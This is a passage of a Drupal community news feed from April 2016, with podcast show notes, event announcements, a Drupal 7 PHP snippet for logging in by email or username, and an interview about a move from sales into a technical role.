to block xml rpc in htaccess?/a. /li lia href=https://security.drupal.org/team-membersCurrent Security Team members/a. /li lia href=https://security.drupal.org/joinJoin the Security Team/a. /li /ulh2DrupalEasy News/h2 ulliDrupalEasy and SixMileTech team up for a href=https://events.drupal.org/neworleans2016/training/module-developmentIntroduction to Drupal 8 Module Development/a at DrupalCon New Orleans./li /ulh2Four Stories/h2 ullia href=https://www.drupal.org/drupalorg/blog/top-10-contributing-customersTop 10 contributing customers/a Drupal Association blog post by Joshua Mitchell. a href=https://www.drupal.org/drupalorg/blog/a-guide-to-issue-credits-and-the-drupal.org-marketplaceInformation for organizations who want their people to start recording attribution/a. /li lia href=http://buytaert.net/examples-of-how-to-make-drupal-outside-inExamples of how to make Drupal outside-in/a - blog post by Dries Buytaert. /li lia href=https://www.drupal.org/drupal-8.1.0-rc1Drupal 8.1 RC1 is available/a. /li lia href=https://events.drupal.org/news/schedule-live-drupalcon-new-orleansDrupalCon New Orleans schedule is available/a. /li /ulh2Sponsors/h2 ullia href=http://www.linnovate.net/slaLinnovate.com/sla/a /li lia href=http://webenabled.comWebEnabled.com/a - a href=https://devpanel.comdevPanel/a /li /ulh2Picks of the Week/h2 ulliCathy - a href=http://www.jeffgeerling.com/blog/2016/yes-drupal-8-slower-drupal-7-heres-whyYes, Drupal 8 is slower than Drupal 7 - here's why/a blog post by Jeff Geerling. /li liMike - a href=https://www.drupal.org/project/groupGroup/a module for Drupal 8. See a href=https://www.drupaleasy.com/video/2016/04/using-group-module-administrator-content-editor-access-control-drupal-8Mike's screencast/a demonstrating its use. /li liPeter - a href=http://www.forbes.com/sites/thomasbrewster/2016/04/05/panama-papers-amazon-encryption-epic-leak/#2ec66f51df59From Encrypted Drives To Amazon's Cloud -- The Amazing Flight Of The Panama Papers/a. /li liAnna - Counterpoint to Forbes pointing at Drupal: WordPress slider implicated a href=https://www.wordfence.com/blog/2016/04/mossack-fonseca-breach-vulnerable-slider-revolution/Mossack Fonseca Breach – WordPress Revolution Slider Plugin Possible Cause/a. /li liAnna - a href=http://buytaert.net/state-of-drupal-2016-surveyState of Drupal 2016 Survey/a. /li /ulh2Upcoming Events/h2 ullia href=http://drupaldelphia.com/DrupalDelphia/a - April 8, 2016. /li lia href=http://2016.drupalcamp.es/Drupal Camp Spain - Granada/a - Apr 22-24, 2016 - Cathy will be there. /li lia href=http://drupalcon.orgDrupalCon New Orleans/a - May 9-13, 2016 - Cathy is a href=https://events.drupal.org/neworleans2016/tracks/#core-conversationscore conversation track chair/a, a href=https://events.drupal.org/neworleans2016/sessions/drupal-8-where-did-code-go-info-hook-pluginPeter's session/a. /li lia href=http://www.drupalnorth.org/DrupalNorth Montreal/a - June 16-19, 2016 - Cathy will be keynoting. /li /ulh2Follow us on Twitter/h2 ullia href=http://twitter.com/drupaleasy@drupaleasy/a /li lia href=http://twitter.com/andrewmriley@andrewmriley/a /li lia href=http://twitter.com/liberatr@liberatr/a /li lia href=http://twitter.com/ultimike@ultimike/a /li lia href=http://twitter.com/tedbow@tedbow/a /li lia href=http://twitter.com/sixmiletech@sixmiletech/a /li lia href=http://twitter.com/akalata@akalata/a /li lia href=http://twitter.com/yesct@YesCT/a /li lia href=http://twitter.com/hook_menu@hook_menu/a /li /ulh2Cathy's Five Questions (answers only)/h2 olliPython library for reading shape files (a href=https://github.com/cleder/pyshppyshp/a). /li liRetirement. /li liGo back to DIY microbiology/genetic engineering. /li liChx asking him to do “something easy” for Drupal 6. /li liBrian Osborne, working on CAS module (a href=https://www.drupal.org/u/bkosbornebkosborne/a). /li /olh2Intro Music/h2 ullia href=https://www.youtube.com/watch?v=7zvCOKzY3kA#t=30m30sR.T.B.C. - from the DrupalCon Los Angeles pre-note/a performed by Larry Garfield. /li /ulh2Subscribe/h2 pa href=https://itunes.apple.com/us/podcast/drupaleasy-podcast/id305745575Subscribe to our podcast on iTunes/a or a href=http://www.getmiro.com/Miro/a. Listen to our podcast on a href=http://stitcher.com/s?fid=28701amp;refid=stprStitcher/a./p pIf you'd like to leave us a voicemail, call 321-396-2340. Please keep in mind that we might play your voicemail during one of our future podcasts. Feel free to call in with suggestions, rants, questions, or corrections. If you'd rather just send us an email, please use our a href=http://DrupalEasy.com/contactcontact page/a./pdiv class=feedflare a href=http://feeds.feedburner.com/~ff/DrupalEasy?a=xY5Mf1vLPeQ:HpRyts53A7M:yIl2AUoC8zAimg src=http://feeds.feedburner.com/~ff/DrupalEasy?d=yIl2AUoC8zA border=0/img/a a href=http://feeds.feedburner.com/~ff/DrupalEasy?a=xY5Mf1vLPeQ:HpRyts53A7M:qj6IDK7rITsimg src=http://feeds.feedburner.com/~ff/DrupalEasy?d=qj6IDK7rITs border=0/img/a /divimg src=http://feeds.feedburner.com/~r/DrupalEasy/~4/xY5Mf1vLPeQ height=1 width=1 alt=/

Lullabot: Lullabot's 8th Annual DrupalCon Party

Fri, 04/15/2016 - 21:41
div class=rich-textpLullabot#x2019;s annual party has become a DrupalCon tradition #x2013; fun friendly people hanging out and having a good time. If you#x2019;re new to DrupalCon, it#x2019;s a great place to meet people. And if you#x2019;re an old-timer, it#x2019;s a great place to see old friends and make new ones./p pstrongLullabot#x2019;s DrupalCon Party 2016/strongbr/ Wednesday, May 11th at the a href=https://www.acehotel.com/neworleansAce Hotel/abr/ 600 Carondelet St.br/ New Orleans, LA 70130br/ 7PM #x2018;til wheneverbr/ (a a href=https://www.google.com/maps/dir/Convention+Center+Blvd,+New+Orleans,+LA+70130/600+Carondelet+St,+New+Orleans,+LA+70130/@29.945564,-90.0706884,17z/data=!3m1!4b1!4m14!4m13!1m5!1m1!1s0x8620a66faf9a2707:0x81306dde0c88b155!2m2!1d-90.0644775!2d29.9426927!1m5!1m1!1s0x8620a674f96cdc1d:0x326a129a6ca91928!2m2!1d-90.0719486!2d29.948318!3e215 minute walk/a from Drupalcon)/p pWe have 31 Lullabots attending Drupalon this year. Nine of them are a href=https://www.lullabot.com/articles/lullabot-drupalcon-sessions-2016presenting sessions/a, so don#x2019;t miss those. Also, both Lullabot and a href=https://tugboat.qaTugboat/a will be representing at booth 206 in the exhibit hall. We#x2019;ll have our famous floppy disk party invites at the booth, so stop by early on Tuesday if you want to fill out your collection. And finally, since itapos;s our 10 year anniversary, if you happen to stop by the booth wearing an old Lullabot tee, youapos;ll also receive a new special edition Lullabot shirt. Hooray for new threads!/p pThe venue for the party is a short 15 minute walk from the Convention Center. So stop by on Wednesday evening, enjoy a drink with us, and say #x201C;hello!#x201D;./p /div

Drop Guard: Drop Guard recipes: Configure your Drupal update behaviours

Fri, 04/15/2016 - 20:15
span data-quickedit-field-id=node/67/title/en/rss class=field field--name-title field--type-string field--label-hiddenDrop Guard recipes: Configure your Drupal update behaviours/span span data-quickedit-field-id=node/67/uid/en/rss class=field field--name-uid field--type-entity-reference field--label-hiddenspanIgor Kandyba/span/span span data-quickedit-field-id=node/67/created/en/rss class=field field--name-created field--type-created field--label-hiddenFri, 15.04.2016 - 20:15/span div data-quickedit-field-id=node/67/field_teaser_image/en/rss class=field field--name-field-teaser-image field--type-image field--label-hidden field__item img src=/blog/sites/default/files/styles/medium/public/2016-04/project-overview.jpg?itok=eZT7vaag width=220 height=156 alt=Project overview class=image-style-medium / /div div data-quickedit-field-id=node/67/body/en/rss class=clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__itempThe real benefits and value of Drop Guard are not about being able to monitor, but actually perform updates by committing the newer Drupal and modules versions directly into the project's Git repository. In this article, we'll familiarise ourselves with the basic Drop Guard concepts, and go through the update behaviours configuration process to secure our website./p /div div data-quickedit-field-id=node/67/field_blog_post_tags/en/rss class=field field--name-field-blog-post-tags field--type-entity-reference field--label-hidden field__items div class=field__itema href=/blog/taxonomy/term/7 hreflang=enDrop Guard/a/div div class=field__itema href=/blog/taxonomy/term/31 hreflang=enDrop Guard recipes/a/div div class=field__itema href=/blog/taxonomy/term/3 hreflang=enDrupal Planet/a/div /div

The Cherry Hill Company: Join us for the Drupal in Libraries BoF at DrupalCon NOLA

Fri, 04/15/2016 - 19:34
pThis year's Drupal in Libraries Birds of a Feather session will be on Wednesday, May 11th from 3:45 to 4:45 in the Cherry Hill BoF Room (291) at the Morial Convention Center./p pThere is no agenda, so please bring your questions and stories. We would all love to see what you have been up to./p pAmong the things that we are interested in are the upcoming version of Islandora and summer reading programs./p

Phponwebsites: Login using email and username in Drupal 7

Fri, 04/15/2016 - 19:31
div dir=ltr style=text-align: left; trbidi=onnbsp; nbsp;This blog describes about how to login using both email and username in Drupal 7. All of you know we could login using only username in Drupal 7.br /br /div class=separator style=clear: both; text-align: center;a href=https://1.bp.blogspot.com/-nvpgMT1lGR4/VxEhZTNv6ZI/AAAAAAAAAsU/iQQIhkrODVwH4YvNfDtW6_IlGU6rY4HngCLcB/s1600/login-email-username-drupal-phponwebsites.png imageanchor=1 style=margin-left: 1em; margin-right: 1em;img alt=Login using mail address and usename in Drupal 7 border=0 src=https://1.bp.blogspot.com/-nvpgMT1lGR4/VxEhZTNv6ZI/AAAAAAAAAsU/iQQIhkrODVwH4YvNfDtW6_IlGU6rY4HngCLcB/s1600/login-email-username-drupal-phponwebsites.png title=Login using mail address and usename in Drupal 7 //a/divbr /br /nbsp; nbsp; nbsp; nbsp;I've tried to login using email without any contrib modules. Finally i got the code. First alter form to add custom form validation. In custom form validation, get the name from user table by email and set that value into name field in form. nbsp;Let see the code:br /br /div class=bdrlt;?phpbr //**br /nbsp;* Implement hook_form_alter().br /nbsp;*/br /function phponwebsites_form_alter(amp;$form, amp;$form_state, $form_id) {br /br /nbsp; if ($form_id == user_login || $form_id == user_login_block) {br /nbsp; nbsp; $form['name']['#title'] = t('Username or E-mail Address');br /nbsp; nbsp; // Ensure a valid validate array.br /nbsp; nbsp; $form['#validate'] = is_array($form['#validate']) ? $form['#validate'] : array();br /nbsp; nbsp; // login using username or email addressbr /nbsp; nbsp; array_unshift($form['#validate'],'phponwebsites_user_login_validate');br /nbsp; }br /}br /br /nbsp;/**br /nbsp;* Implement phponwebsites_user_login_validate()br /nbsp;*br /nbsp;* Return name by its email addressbr /nbsp;*/br /function phponwebsites_user_login_validate($form, amp;$form_state) {br /nbsp; if (isset($form_state['values']['name']) amp;amp; strpos($form_state['values']['name'], '@') !== false) {br /nbsp; nbsp; nbsp; $name = db_query(SELECT name FROM {users} WHERE LOWER(mail) = LOWER(:name), array(':name' =gt; $form_state['values']['name']))-gt;fetchField();br /nbsp; nbsp; }br /nbsp; if (isset($name)) {br /nbsp; nbsp; form_set_value($form['name'], $name, $form_state);br /nbsp; }br /}/divbr /nbsp; nbsp;Now you can login using both username and email. I've hope you know how to login using both username and email in Drupal 7./div

Acquia Developer Center Blog: How Laura moved from Sales to Tech - a Drupal story

Fri, 04/15/2016 - 18:14
div class=field field-name-field-podcast-image field-type-image field-label-hiddendiv class=field-itemsdiv class=field-item evenimg typeof=foaf:Image src=https://dev.acquia.com/sites/default/files/styles/blog_node_image/public/podcast/images/laura_collage.jpg?itok=8Onxs8u- width=340 height=260 alt=Laura Caraker and jam practice the Drupal dance at Acquia HQ in Boston. title=Laura Caraker and jam practice the Drupal dance at Acquia HQ in Boston. //div/div/divdiv class=field field-name-body field-type-text-with-summary field-label-hiddendiv class=field-itemsdiv class=field-item even property=content:encodedp Laura Caraker's journey at Acquia is remarkable. In this podcast, she and I talk through how she joined Acquia Sales, wanted to know more about Drupal and ended up joining the technical side of the house via her stint at Acquia U, Acquia's Drupal and tech boot camp. Her advice for others interested in technology? Don’t be afraid to get involved. /p h2 Interview video - 12' 30br //h2 piframe width=640 height=360 src=https://www.youtube.com/embed/BynW7aGZejA frameborder=0/iframe/p h2 Early days: Acquia Salesbr //h2 p strongjam:/strong So why don’t you introduce yourself? Tell us who you are and what you do now. /p p strongLaura Caraker:/strong Sure. So my name is Laura Caraker. I am currently on the Solutions Architecture Team as an associate solutions architect. I have been here for a little bit over two years now. /p p strongjam:/strong I remember meeting you in Acquia’s old office a couple of times because your desk was positioned in a place that I would always walk through the office, and you and your deskmate at that time seem to be having far too much fun. /p p strongLaura Caraker:/strong Yes. Yes, we really did and it was a great place to sit too because I could see everybody coming through. So it was nice. /p p strongjam:/strong What was your job back then? /p p strongLaura Caraker:/strong I was a business development representative. I think that was close to when I first started. I remember you were wearing your mustache suit, full mustache suit. /p p strongjam:/strong Well, I mean, I have to keep up appearances, right? /p p strongLaura Caraker:/strong Yes, of course. /p p strongjam:/strong Now, what does a BDR do, a business development representative? /p p strongLaura Caraker:/strong So a BDR is an entry-level sales position within the company. So, it’s generally for people right out of college or looking to jumpstart their career. If they’re looking into the business side that’s the first-level role they would take. /p h2 Love at first DrupalConbr //h2 p strongjam:/strong But Laura, that’s a sales job and now you’re doing a Drupal job! :-) So this actually totally fascinated me. So here’s what I observed that really truly captivated me. I met Laura in this entry-level sales position and then at DrupalCon Portland, I ran into you. /p p strongLaura Caraker:/strong Austin. /p p strongjam:/strong Was it Austin? /p p strongLaura Caraker:/strong Austin. /p p strongjam:/strong At a DrupalCon I ran into you and I said, “Wow! You’re here!” because that’s – at a large company like we are, I thought it was a little bit unusual that a junior salesperson would be at DrupalCon. I said, “What are you doing here?” And you said, “We won this, you know? We made this number and our prize was to come to DrupalCon,” and I asked you about it. And how was your first DrupalCon? /p p strongLaura Caraker:/strong I loved it. It was also my first time in Austin, so that contributed to the positive experience too, but it was great having been here for just a few months at that point to go do a community event like that with coworkers you don’t usually talk to and see the community itself as well. /p p strongjam:/strong What was your tech experience before you came to Acquia? /p p strongLaura Caraker:/strong Slim to none. I know very basic or I knew very basic coding like HTML. It was more of a hobby. I had a WordPress blog before coming here so – but not far beyond that. /p p strongjam:/strong Do you have a first Drupal memory? /p p strongLaura Caraker:/strong Probably DrupalCon itself was the most prevalent Drupal memory itself. With the actual technology, the first time I used Drupal was Drupal Gardens. /p h2 Teach me all the Drupal!br //h2 p strongjam:/strong Okay. So what I’ve observed is you came in as a salesperson. You got excited about this thing and you’re now in a technical job. Of course, the piece in between that somehow was Acquia U, but describe working in this organization and what happened along the way, how your – what caught your attention, what got you excited. /p p strongLaura Caraker:/strong Sure. So I’d say what got me the most excited about working here was the people. So you always want to perform very well because you enjoy the people that you’re working with and you want to work hard for them. But every day in sales I found myself on phone conversations, talking to people about Drupal and our products, but never fully understanding it to the level I wanted to, to have the confidence to really sell it, and since I was always sort of fascinated by technology in general, I wanted to learn more. So I was in that role or moving along that team for a year and a half-ish, and then I had always been interested in Acquia U and the idea behind it, but there hadn’t really been anybody internally that had wanted to do it, and when I saw that the prerequisites weren’t too demanding, I reached out to Amy and asked what she thought about it, and I talked to my boss, and then everything kind of came together. /p p strongjam:/strong Wow! So, describe how it was going through the curriculum and getting up to speed on PHP, and version control, and Agile, and all this stuff. /p p strongLaura Caraker:/strong Very difficult. It was difficult too because I started with a group of maybe eight to nine other people and they all had different levels of experience. Some of the kids had coded for a while just using different programs. But generally, around the room, not many of us knew Drupal very well. So that was a little less intimidating. It was definitely difficult to learn everything at once and try and put it all together, to understand what it all means together in workflow and things like that, but I made it through. I survived. I’m still learning every day. /p p strongjam:/strong Is it fair to describe it is a boot camp? /p p strongLaura Caraker:/strong Yes. Like a boot camp classroom, basically. /p p strongjam:/strong What sort of – well, you’re in a technical role now at Acquia in the solutions architecture team which enables people to design their projects right, to succeed at them? /p p strongLaura Caraker:/strong Yes. /p h2 Baking it all inbr //h2 p strongjam:/strong What sort of career doors do you think Acquia U has opened for you? /p p strongLaura Caraker:/strong Well, initially, my first intention was to go to Acquia U to enable me more as a sales rep. The initial plan was to come right back to the sales team. So around the end of that program, I was starting to get a feel for other departments. So right then and there that opened the opportunity to join the solutions architecture team. I had other opportunities too. It was very flexible now having the Drupal knowledge and Acquia knowledge of where you can go. So, I really liked all the different opportunities I had and the solutions architecture opportunity was the most attractive to me because it combined skills that I had already gained in sales with the new skills I had, and I knew that if I went right back to sales, I may not exercise all the new skills I was learning. So I was nervous to lose them and I wanted to actually work with them every day so... /p p strongjam:/strong So you got – you’re baking them in now? /p p strongLaura Caraker:/strong Yes. /p p strongjam:/strong Right, and you’re making a broader base really, and using it every day is, of course, the best way to really make it stick? /p p strongLaura Caraker:/strong Yes. /p h2 Biz background with tech skills - the future is bright!br //h2 p strongjam:/strong I see that. What was your major at college? /p p strongLaura Caraker:/strong Sport management. /p p strongjam:/strong Okay, but management, right? /p p strongLaura Caraker:/strong Yes, I was in a business school. /p p strongjam:/strong You did a business-y thing at the business school and now you’ve got all of these technical skills, and your role is actually right in between those two worlds... /p p strongLaura Caraker:/strong Yes. /p p strongjam:/strong ...because, essentially, you need to take business require – figure out what the business requirements are which is a set of skills, in and of itself, that’s quite tricky, and then express those in a technical architecture with our specific technology. That’s actually really exciting because I think that you’ve got an enormously – a growing and very complementary skillset that’s going to make all sorts of things possible in the future. /p p strongLaura Caraker:/strong Right. /p p strongjam:/strong What’s your first startup going to be then? /p p strongLaura Caraker:/strong Oh, I have no idea. I haven’t thought that far yet. /p p strongjam:/strong I mean in one possible set of outcomes, right? This is actually an ideal position to be like a technical founder or co-founder of something that’s wow! /p p strongLaura Caraker:/strong Tom Erickson started as a presales guy. /p p strongjam:/strong Career path Tom Erickson! /p p strongjam:/strong No - so what I love about this is that you went from sports business background into selling and our crazy technical thing caught your eye, right? And you went for that. /p p strongLaura Caraker:/strong Yes, and I actually did minor in IT in school in addition to the whole sport management business thing but it was pretty basic level, just binary, basic computer IT thing. So, it’s cool how both of them combined into this role, a few years later, where I am. /p h2 Don’t be afraid to get involved.br //h2 p strongjam:/strong It is tremendously exciting and I want to point out that Drupal and technology today, despite how complicated things are - complex things are, and how many systems and how much there is in today’s web and digital technologies. There are enormous possibilities for people to come in. Self-taught, university-taught, you can go to boot camps. You can read books. You can really – talk about people who are – say something to the people out there who are not sure they’re doing the right thing, and talk about the chances that you see in technology today. /p p strongLaura Caraker:/strong Well, I mean in terms of technology, there are a lot of chances. Drupal specifically? I’d say out of the different technologies I’ve seen, it’s one of the – it definitely has a learning curve, but it’s one of the easiest ones to get involved with because of how vast the community is, and all the resources that are available. So this entire journey has been a huge learning experience for me, but I’ve never had an issue finding help, whether it be with an Acquia or within the Drupal community itself. /p p strongjam:/strong Very good. /p p strongLaura Caraker:/strong So don’t be afraid to get involved. /p p strongjam:/strong Don’t be afraid to get involved. That’s really cool. When are you giving your first DrupalCon session? /p p strongLaura Caraker:/strong Someday I will. I’ve actually been doing a lot of Drupal camps, gearing up and potentially preparing some sessions here and there, demos. I’ll be doing something at DrupalCon this year hopefully. We’ll see. Nothing – maybe not a session yet, but that’s the goal one day. /p p strongjam:/strong Awesome. But you’re definitely out there engaging with the community, showing people how to use stuff. Wow, fantastic! So thank you. So you’re passing it on straightaway as well? /p p strongLaura Caraker:/strong Yes. /p p strongjam:/strong I find your story so exciting. It’s really – congratulations. /p p strongLaura Caraker:/strong Thank you. /p p strongjam:/strong It just seems it’s incredibly – it’s exciting. I’m excited for you. I hope you’re... /p p strongLaura Caraker:/strong Yes, I’m pumped. I feel very, very lucky to have the opportunities that I’ve had here at Acquia and with Drupal in general. So it’s very exciting. /p p strongjam:/strong Welcome to our community. /p p strongLaura Caraker:/strong Thank you. I love it. /p p strongjam:/strong Thanks for taking the time. /p p strongLaura Caraker:/strong Yes, no problem. Thanks, jam. /p pimg src=/sites/default/files/podcast/images/laura_collage.jpg alt=Laura Caraker and jam practice the Drupal dance at Acquia HQ in Boston. //p h2 Guest dossierbr //h2 ulliName: Laura Caraker /li liWork affiliation: a href=http://u.acquia.com/people/laura-carakerAssociate Solutions Architect, Acquia/a /li liTwitter: a href=https://twitter.com/acquialaura@acquialaura/a /li liLinkedIn: a href=https://www.linkedin.com/in/laura-caraker-394b3641Laura Caraker/a /li /ul/div/div/divdiv class=field field-name-field-podcast-audio field-type-file field-label-hiddendiv class=field-itemsdiv class=field-item evenaudio controls=controlssource src=https://dev.acquia.com/sites/default/files/podcast-audio/au_laura_caraker.mp3 type=audio/mpeg //audio/div/div/divdiv class=field field-name-field-skill-level field-type-taxonomy-term-reference field-label-inline clearfixdiv class=field-labelSkill Level:nbsp;/divdiv class=field-itemsdiv class=field-item evena href=/skill-level/beginner typeof=skos:Concept property=rdfs:label skos:prefLabel datatype=Beginner/a/divdiv class=field-item odda href=/skill-level/intermediate typeof=skos:Concept property=rdfs:label skos:prefLabel datatype=Intermediate/a/divdiv class=field-item evena href=/skill-level/advanced typeof=skos:Concept property=rdfs:label skos:prefLabel datatype=Advanced/a/div/div/div

Evolving Web: Upgrading to Drupal 8: Benefits and Gotchas

Fri, 04/15/2016 - 17:32
a href=https://evolvingweb.ca/%20%20___ img src=https://evolvingweb.ca/sites/default/files/styles/medium/public/2016-04/AZTYHXJQ-2016.04.14-16-08-20.png?itok=yW5nKPEu width=220 height=74 alt=Juggling the pros and cons of upgrading to Drupal 8. typeof=Image class=img-responsive / /apThinking of upgrading your website to Drupal 8, or using it for the first time on a new project? You've surely heard about the shiny new features that the community has been cooking up. But as with any major step forward, there's a lot of changes to how things work, and not everything is fully ready, so there are challenges to be aware of before you jump into a Drupal 8 project for the first time./pa href=https://evolvingweb.ca/blog/upgrading-to-drupal-8-benefits-and-gotchas hreflang=enread more/a